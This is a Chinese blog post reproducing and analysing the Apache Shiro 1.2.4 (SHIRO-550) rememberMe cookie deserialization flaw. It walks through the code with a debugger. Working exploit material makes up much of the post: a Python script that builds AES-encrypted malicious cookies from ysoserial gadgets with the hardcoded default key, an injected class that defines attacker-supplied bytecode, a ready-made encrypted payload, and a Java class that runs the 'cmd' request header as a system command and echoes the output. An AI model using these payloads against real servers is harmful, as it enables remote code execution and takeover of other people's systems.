shiro550反序列化复现

前言

​ 最近部门有红队内部培训,分为了PHP审计和java审计方向。PHP还勉强可以听懂一些,但是java就比较吃力了,无论是找路由还是找gadget链、找敏感漏洞lib包都是很不熟练超级难顶,还有就是多种中间件内存马和多种中间件正向内存代理(项目中很多java项目都是不出网),就更加听不懂了。

​ 这一段时间无论是攻防演练还是红队评估遇到的shiro漏洞还是挺多的,于是就有了这篇文章。

环境介绍

tomcat7 + idea+jdk1.8.0_101

项目地址

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

环境搭建以及漏洞复现

下载好环境,配置好我们的将项目的shiro-shiro-root-1.2.4\samples\web导入idea,并设置如下pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope> -->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
    </dependencies>

</project>

配置tomcat7,
image
image

搭建完成

image
输入账号密码,勾选Remerber me选项。进行抓包,可以看到环境搭建成功!

image

加密的cookie脚本

import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command],stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

运行该脚本,可以得到加密后的rememberMe

image
复制该cookie,可成功执行代码
image

漏洞分析

漏洞原理

shiro会对用户传入的cookie进行解密并进行java原生反序列化。其解密cookies的密钥是默认的,因此不受信任的用户可以发送任意数据触发恶意的反序列化。需要特别说明的是shiro这个洞只是一个反序列化触发点实际能否利用要看环境是否存在gadget。

​ 虽然是原生反序列化但是shiro重新的实现了resolveClass,这间接造成了最后加载类的classloader变成了ParallelWebappClassLoader(在tomcat上是这样),而ParallelWebappClassLoader实现有buggy造成不能反序列化非原生的数组类型(关于这点的具体分析可以看这篇强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考),这就造成大名鼎鼎的cc链某些gadget中的transformers数组无法被反序列化(by李三)

大概漏洞过程就是:

  • 序列化、加密过程

  • 解密、反序列化过程

​ 官网中有大哥也提出了issuse

默认情况下,shiro使用CookieRememberMeManager。这将对用户身份进行序列化,加密和编码,以供以后检索。因此,当它接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

检索RememberMe cookie的值
Base 64解码
使用AES解密
使用Java序列化(ObjectInputStream)反序列化。
但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送。然后Shiro将解码并反序列化,这意味着您的恶意对象现在位于服务器上。通过精心构造对象,可以使它们运行一些恶意代码
  • 检索RememberMe cookie 的值

  • Base 64解码

  • 使用AES解密

  • 使用Java序列化(ObjectInputStream)反序列化

    解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知RememberMe在CookieRememberMeManager实现

大概看了一下在CookieRememberMeManager类中不存在加密算法,在父类AbstractRememberMeManager中
image
org.apache.shiro.mgt.AbstractRememberMeManager类中发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe的值,然后让其反序列化
image
该类主要是将key进行base64解密为byte数组,然后构造函数来调用setCipherKey方法进行初始化该值

public abstract class AbstractRememberMeManager implements RememberMeManager {
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    private byte[] encryptionCipherKey;
    private byte[] decryptionCipherKey;

    public AbstractRememberMeManager() {
        this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }
    public void setCipherKey(byte[] cipherKey) {
        this.setEncryptionCipherKey(cipherKey);
        this.setDecryptionCipherKey(cipherKey);
    }

序列化、加密过程

在AbstractRememberMeManager#onSuccessfulLogin打下断点,开启debug模式,勾选rememberMe进行登录
image
其中第85行主要是针对是否勾选了rememberMe经行判断
image
如果为true,就进行AbstractRememberMeManager#rememberIdentity,94行调用了该类的getIdentityToRemember,主要是用来获取当前用户为root
image
image
然后95行在进入rememberIdentity方法
image
103行主要是将用户信息转换成bytes数组,可以跟踪一下
image
108行经过serialize函数处理就变成了bety数组处理,可以跟一下org.apache.shiro.io.DefaultSerializer#serialize
image
采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口
image
接着来看加密过程,
image
110行调用了encrypt()方法,跟一下
image
154行调用了getCipherService方法,得到一个用来加密的CipherService对象,发现返回的是当前类的private CipherService cipherService = new AesCipherService();并且在AesCipherService父类完成CipherService对象的初始化,可以看到此时确定了AES加密,模式为CBC,128位,填充方式为PKCS5Padding
image
接着在156行,cipherService.encrypt方法第一个参数是序列化的数组,第二个参数是硬编码的key,跟入cipherService.encrypt
image
148行可以看到iv是随机生成的16为byte,153又调用了encrypt方法,参数分别是序列化数据,key,IV和bool值为true,跟入

org\apache\shiro\crypto\JcaCipherService.class#encrypt

image
在162行将16字节的IV放入了output,接着放入密文数据

后面一直return,回到了org\apache\shiro\mgt\AbstractRememberMeManager#convertPrincipalsToBytes,
image
加密过程就结束了。

反序列化、解密过程

对RememberMe的解密依然是在AbstractRememberMeManager里,调用的是getRememberedPrincipals方法

这个方法主要做了实现了三个功能:

  • 获取cookie中的RememberMe值进行base64_decode
  • 将base64_decode获取的byte数组进行aesdecode
  • 从bytes数组中还原ByteArrayInputStream,调用readObject还原principals对象

在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 370行打下断点,在burp中发送只有rememberMe的请求
image
370行跟入this.getRememberedSerializedIdentity

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity;主要是获取cookie并base64编码
image
回到getRememberedPrincipals并跟入this.convertBytesToPrincipals
image
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals;主要进行AES解密;其中140行主要就进行反序列操作
image
org.apache.shiro.io.DefaultSerializer#deserialize
image
用ByteArrayInputStream将对象反序列化,就是漏洞的触发点

分析gadget

默认shiro的commons-collections版本为3.2.1,我们利用3.2.1的payload,结果报如下错误:
image
Shiro在调用readObject时,使用了ClassResolvingObjectInputStream来处理数据:这个类重写了resolverClass方法
image
在原生的JDK中,直接用Class.forName来获取Class,

java.io.ObjectInputStream#resolveClass
image
在Shiro中,使用了ClassUtils.forName获取Class,我们可以尝试跟进一下该方法:

image
是采用了ClassLoader.loadClass方法来加载类,loadClass()则是可以自己指定一个不同的ClassLoader,shiro中的ClasssLoader是怎么来的?是通过Thread.currentThread().getContextClassLoader();获取的,也就是WebappClassLoader

总结下原因是:

  1. Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

shiro通用回显

在执行反序列化的时候执行自定义的java代码,借助TemplatesImpl , 编写ysoserial的扩展。

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
   static{
       try{
           javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
           java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
           r.setAccessible(true);
           org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
           javax.servlet.http.HttpSession session = request.getSession();

           String classData=request.getParameter("classData");
           System.out.println(classData);

           byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
           java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
           defineClassMethod.setAccessible(true);
           Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
           cc.newInstance().equals(new Object[]{request,response,session});
      }catch(Exception e){
           e.printStackTrace();
      }
  }
   public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
  }
   public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
  }
}

ysoserial的Gadget.java加入代码

    public static <T> T createTemplatesImpl(Class c) throws Exception {
        Class<T> tplClass = null;

        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
        }else{
            tplClass = (Class<T>) TemplatesImpl.class;
        }

        final T templates = tplClass.newInstance();
        final byte[] classBytes = ClassFiles.classAsBytes(c);

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes
        });

        Reflections.setFieldValue(templates, "_name", "Pwnr");
        return templates;
    }

根据Gadget新增不同的文件,修改

        final Object templates = Gadgets.createTemplatesImpl(cmd);
        final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);

生成ClassLoader 命令回显POC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader "" > classload.ser   
 cat classload.ser|python shiro_encode.py                                                                                                                                ```
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

通用命令回显POC

package aa;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;

public class dfs_classloader {

    static HashSet<Object> h;
    static ClassLoader cl = Thread.currentThread().getContextClassLoader();
    static Class hsr;//HTTPServletRequest.class
    static Class hsp;//HTTPServletResponse.class
    static String cmd;
    static Object r;
    static Object p;

    //    static {
//  r = null;
    //   p = null;
    // h =new HashSet<Object>();
    // F(Thread.currentThread(),0);
//    }
    public dfs_classloader()
    //static
    {
        // System.out.println("start");
        r = null;
        p = null;
        h =new HashSet<Object>();
        try {
            hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
            hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

        F(Thread.currentThread(),0);
    }

    private static boolean i(Object obj){
        if(obj==null|| h.contains(obj)){
            return true;
        }

        h.add(obj);
        return false;
    }
    private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                r = o;
                //Tomcat特殊处理
                try {
                    cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                    if(cmd==null) {
                        r = null;
                    }else{
                        System.out.println("find Request");
                        try {
                            Method getResponse = r.getClass().getMethod("getResponse");
                            p = getResponse.invoke(r);
                        } catch (Exception e) {
                            System.out.println("getResponse Error");
                            r=null;
//                            e.printStackTrace();
                        }
                    }
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                } catch (InvocationTargetException e) {
                    e.printStackTrace();
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                }

            }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                p =  o;
            }
            if(r !=null&& p !=null){
                try {
                    PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
                    pw.println("~3b712de48137572f3849aabd5666a4e3~");
                    pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
                    pw.println("~3b712de48137572f3849aabd5666a4e3~");

                    pw.flush();
                    pw.close();
                    //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }
    private static void F(Object start, int depth){

        Class n=start.getClass();
        do{
            for (Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object o = null;
                try{
                    o = declaredField.get(start);

                    if(!o.getClass().isArray()){
                        p(o,depth);
                    }else{
                        for (Object q : (Object[]) o) {
                            p(q, depth);
                        }

                    }

                }catch (Exception e){
                }
            }

        }while(
                (n = n.getSuperclass())!=null
        );
    }
}

参考链接

https://www.anquanke.com/post/id/192619#h2-4

https://www.cnblogs.com/nice0e3/p/14183173.html

https://xz.aliyun.com/t/7950

https://xz.aliyun.com/t/8997#toc-0

[http://redteam.today/2019/09/20/shiro 反序列化复现/](http://redteam.today/2019/09/20/shiro 反序列化复现/)

https://blog.0kami.cn/

https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%BA%8F%E5%88%97%E5%8C%96%E3%80%81%E5%8A%A0%E5%AF%86%E8%BF%87%E7%A8%8B

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

[https://l3yx.github.io/2020/03/31/Java-Web代码执行漏洞回显总结/#获取Tomcat-Response](

posted @ 2021-05-26 15:53  -Zad-  阅读(832)  评论(0编辑  收藏  举报
jQuery火箭图标返回顶部代码